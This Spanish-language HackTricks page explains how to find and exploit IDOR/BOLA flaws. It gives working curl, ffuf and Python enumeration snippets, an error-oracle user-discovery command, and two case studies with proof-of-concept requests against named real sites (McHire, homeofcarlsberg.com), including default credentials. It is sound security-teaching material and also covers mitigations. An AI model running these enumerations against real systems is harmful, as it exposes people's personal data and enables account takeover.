IDOR (Insecure Direct Object Reference)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece cuando un endpoint web o API revela o acepta un identificador controlado por el usuario que se usa directamente para acceder a un objeto interno sin verificar que quien realiza la llamada esté autorizado para acceder/modificar ese objeto. La explotación exitosa normalmente permite escalamiento de privilegios horizontal o vertical, como leer o modificar los datos de otros usuarios y, en el peor de los casos, account takeover o exfiltración masiva de datos.


1. Identifying Potential IDORs

  1. Busca parámetros que hagan referencia a un objeto:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefiere endpoints que lean o actualicen datos (GET, PUT, PATCH, DELETE).
  2. Observa cuando los identificadores son secuenciales o predecibles – si tu ID es 64185742, entonces 64185741 probablemente exista.
  3. Explora flujos ocultos o alternativos (p. ej. “Paradox team members” link en páginas de login) que podrían exponer APIs adicionales.
  4. Usa una sesión autenticada de bajo privilegio y cambia solo el ID manteniendo el mismo token/cookie. La ausencia de un error de autorización suele ser señal de IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Enumeración automatizada (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Enumerando IDs de descarga predecibles (ffuf)

Los paneles de alojamiento de archivos autenticados suelen almacenar metadatos por usuario en una sola tabla files y exponer un endpoint de descarga como /download.php?id=<int>. Si el handler solo comprueba si el ID existe (y no si pertenece al usuario autenticado), puedes barrer el espacio de enteros con tu cookie de sesión válida y robar las copias de seguridad/configs de otros tenants:

ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json    # fetch surviving IDs such as company backups or signing keys
  • -fr elimina las plantillas estilo 404 para que solo queden hits reales (p. ej., IDs 54/150 leaking full site backups and signing material).
  • El mismo flujo de trabajo de FFUF funciona con Burp Intruder o un bucle curl—solo asegúrate de mantenerte autenticado mientras incrementas los IDs.

Enumeración combinatoria autenticada (ffuf + jq)

Algunos IDORs aceptan múltiples IDs de objeto (p. ej., hilos de chat entre dos usuarios). Si la app solo comprueba que estás autenticado, puedes fuzzear ambos IDs manteniendo la cookie de sesión:

ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json

Luego, postprocesa la salida JSON con jq para eliminar duplicados simétricos (A,B) vs (B,A) y conservar solo pares únicos:

jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json

Error-response oracle for user/file enumeration

Cuando un endpoint de descarga acepta tanto un username como un filename (e.g. /view.php?username=<u>&file=<f>), sutiles diferencias en los mensajes de error a menudo crean un oracle:

  • Username inexistente → “User not found”
  • Filename incorrecto pero extensión válida → “File does not exist” (a veces también lista archivos disponibles)
  • Extensión inválida → error de validación

Con cualquier sesión autenticada, puedes fuzz el parámetro username mientras mantienes un filename benigno y filtrar por la cadena “user not found” para descubrir usuarios válidos:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Una vez que se identifican nombres de usuario válidos, solicita archivos específicos directamente (p. ej., /view.php?username=amanda&file=privacy.odt). Este patrón suele conducir a la divulgación no autorizada de documentos de otros usuarios y al leak de credenciales.


2. Real-World Case Study – McHire Chatbot Platform (2025)

Durante una evaluación del portal de reclutamiento McHire impulsado por Paradox.ai se descubrió el siguiente IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: cookie de sesión de usuario para cualquier cuenta de prueba de restaurante
  • Body parameter: {"lead_id": N} – identificador numérico de 8 dígitos, secuencial

Al disminuir lead_id, el evaluador recuperó la PII completa de solicitantes arbitrarios (nombre, correo electrónico, teléfono, dirección, preferencias de turno) además de un JWT de consumidor que permitió session hijacking. La enumeración del rango 1 – 64,185,742 expuso aproximadamente 64 millones de registros.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

Combinado con default admin credentials (123456:123456) que otorgaban acceso a la cuenta de prueba, la vulnerabilidad resultó en una brecha de datos crítica a nivel de toda la empresa.

Estudio de caso – Pulseras con QR codes como weak bearer tokens (2025–2026)

Flujo: Los visitantes de la exposición recibían pulseras con QR codes; al escanear https://homeofcarlsberg.com/memories/ el navegador tomaba el ID impreso de la pulsera, lo codificaba en hex y llamaba a un backend cloudfunctions.net para recuperar el media almacenado (fotos/videos + nombres). No había session binding ni autenticación de usuario—conocer el ID = autorización.

Predecibilidad: Los IDs de las pulseras seguían un patrón corto como C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). El espacio de claves se estimó en ~26M combinaciones, trivial de agotar en línea.

Exploitation workflow with Burp Intruder:

  1. Generación de payloads: Construir IDs candidatos (p. ej., [A-Z]-###-###). Usar un Burp Intruder Pitchfork o Cluster Bomb attack con posiciones para la letra y los dígitos. Añadir una payload processing rule → Add prefix/suffix → payload encoding: ASCII hex para que cada request transmita la cadena hex esperada por el backend.
  2. Response grep: Marcar en Intruder grep-match los marcadores presentes solo en respuestas válidas (p. ej., URLs de media/campos JSON). Los IDs inválidos típicamente devolvían un array vacío/404.
  3. Throughput measurement: ~1,000,000 IDs se probaron en ~2 horas desde un portátil (~139 req/s). A ese ritmo, todo el espacio de claves (~26M) caería en ~52 horas. La ejecución de muestra ya expuso ~500 pulseras válidas (videos + nombres completos).
  4. Rate-limiting verification: Tras la afirmación del proveedor de que había throttling, vuelve a ejecutar la misma configuración de Intruder. Un throughput/tasa de aciertos idéntica demostró que el control estaba ausente/ineficaz; la enumeración continuó sin impedimentos.

Variante rápida scriptable (codificación hex en el cliente):

import requests

def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)

for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())

Lección: Codificación (ASCII→hex/Base64) no añade entropía; los IDs cortos se convierten en bearer tokens que son enumerables a pesar de una codificación cosmética. Sin autorización por usuario + secretos de alta entropía, media/PII puede ser recolectada masivamente incluso si se afirma “rate limiting”.


3. Impacto de IDOR / BOLA

  • Escalada horizontal – leer/actualizar/eliminar los datos de otros usuarios.
  • Escalada vertical – un usuario con bajos privilegios obtiene funcionalidades exclusivas de admin.
  • Filtración masiva de datos si los identificadores son secuenciales (p. ej., applicant IDs, invoices).
  • Secuestro de cuentas mediante el robo de tokens o el restablecimiento de contraseñas de otros usuarios.

4. Mitigaciones & Best Practices

  1. Aplicar autorización a nivel de objeto en cada solicitud (user_id == session.user).
  2. Preferir identificadores indirectos e impredecibles (UUIDv4, ULID) en lugar de IDs auto-incrementales.
  3. Realizar la autorización server-side, nunca confiar en campos ocultos del formulario o controles de UI.
  4. Implementar comprobaciones RBAC / ABAC en un middleware central.
  5. Añadir rate-limiting & logging para detectar la enumeración de IDs.
  6. Probar la seguridad de cada nuevo endpoint (unit, integration, and DAST).

5. Tooling

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks